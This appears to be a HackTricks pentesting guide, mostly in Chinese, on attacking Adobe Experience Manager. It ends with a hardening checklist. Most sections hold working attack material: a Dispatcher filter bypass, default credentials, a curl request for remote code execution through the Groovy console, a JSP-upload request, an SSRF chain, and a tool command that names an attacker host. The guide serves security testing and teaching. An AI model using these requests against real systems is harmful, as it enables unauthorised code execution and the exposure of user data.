AEM (Adobe Experience Manager) Pentesting

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) 是一个企业级内容管理系统,运行在 Apache Sling/Felix (OSGi) 和 Java 内容库 (JCR) 之上。 从攻击者的角度来看,AEM 实例经常暴露危险的开发端点、弱 Dispatcher 规则、默认凭据以及每季度修补的众多 CVE。

下面的检查清单专注于 外部可访问的 (unauth) 攻击面,在真实的渗透测试中不断出现 (2022-2025)。


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

其他快速指标:

  • /etc.clientlibs/ 静态路径存在(返回 JS/CSS)。
  • /libs/granite/core/content/login.html 登录页面带有“Adobe Experience Manager”横幅。
  • </script><!--/* CQ */--> HTML 底部的注释。

2. 高价值未认证端点

路径获取内容备注
/.json, /.1.json通过 DefaultGetServlet 获取 JCR 节点通常被阻止,但 Dispatcher 绕过(见下文)有效。
/bin/querybuilder.json?path=/QueryBuilder API页面树、内部路径、用户名泄露。
/system/console/status-*, /system/console/bundlesOSGi/Felix 控制台默认 403;如果暴露且找到凭据 ⇒ bundle-upload RCE。
/crx/packmgr/index.jsp包管理器允许认证内容包 → JSP 负载上传。
/etc/groovyconsole/**AEM Groovy 控制台如果暴露 → 任意 Groovy / Java 执行。
/libs/cq/AuditlogSearchServlet.json审计日志信息泄露。
/libs/cq/ui/content/dumplibs.htmlClientLibs 转储XSS 向量。

Dispatcher 绕过技巧

大多数生产网站位于 Dispatcher(反向代理)后面。其过滤规则可以通过在分号或编码换行符后附加允许的静态扩展来绕过:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

单个请求如上常常会泄露用户个人资料节点及电子邮件地址。P-T Partners 发布了关于此弱点的良好指导。 【】


3. 常见的错误配置(在2025年仍然存在)

  1. 匿名POST servletPOST /.json:operation=import 允许您植入新的JCR节点。 在Dispatcher中阻止 *.json POST可以解决此问题。 【】
  2. 全世界可读的用户资料 – 默认ACL在 /home/users/**/profile/* 上授予每个人 jcr:read 权限。
  3. 默认凭据admin:adminauthor:authorreplication:replication
  4. WCMDebugFilter 启用 ⇒ 通过 ?debug=layout 反射XSS(CVE-2016-7882,仍在遗留的6.4安装中发现)。
  5. Groovy控制台暴露 – 通过发送Groovy脚本进行远程代码执行:
bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. 最近的漏洞(服务包节奏)

季度CVE受影响版本影响
2024年12月CVE-2024-437116.5.21及更早版本不当输入验证 → 任意代码执行(需要低权限认证)。 【】
2024年12月CVE-2024-43724/266.5.21及更早版本Move Page Wizard中的DOM / 存储XSS。 【】
2023年12月CVE-2023-48452/68≤ 6.5.18通过精心制作的URL进行基于DOM的XSS。 【】
2022年12月CVE-2022-30683≤ 6.5.13加密设计缺陷 → 秘密解密(需要低权限凭据)。 【】

始终检查与客户的服务包匹配的APSB公告,并请求最新的 6.5.22Cloud Service 2024.11


5. 利用片段

5.1 通过dispatcher绕过 + JSP上传的RCE

如果允许匿名写入:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

现在请求 /content/evil.jsp – JSP 以 AEM 进程用户身份运行。

5.2 SSRF 到 RCE(历史 < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console 来自 aem-hackeraem_ssrf2rce.py 自动化整个链条。 【】


6. 工具

  • aem-hacker – 瑞士军刀式枚举脚本,支持调度器绕过、SSRF 检测、默认凭据检查等。
bash
python3 aem_hacker.py -u https://target --host attacker-ip
  • 内容暴力破解 – 递归请求 /_jcr_content.(json|html) 以发现隐藏组件。
  • osgi-infect – 如果凭据可用,通过 /system/console/bundles 上传恶意 OSGi 包。

7. 加固检查清单(用于报告的建议)

  1. 保持实例在 最新的累积服务包 上(截至 2025 年 7 月:6.5.22)。
  2. 移除/轮换默认账户;强制实施 SSO/SAML。
  3. 收紧 调度器过滤器 – 拒绝 ;、编码换行符,以及匿名用户的 *.json*.querybuilder.json
  4. 禁用或保护控制台(/system/console/crx/*/etc/groovyconsole),使用 IP 允许列表。
  5. 应用 Adobe 提供的 匿名权限加固 包。

参考

  • Adobe 安全公告 APSB24-69 – “Adobe Experience Manager 的安全更新(2024 年 12 月)”。
  • 0ang3el – aem-hacker 工具(GitHub)。

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks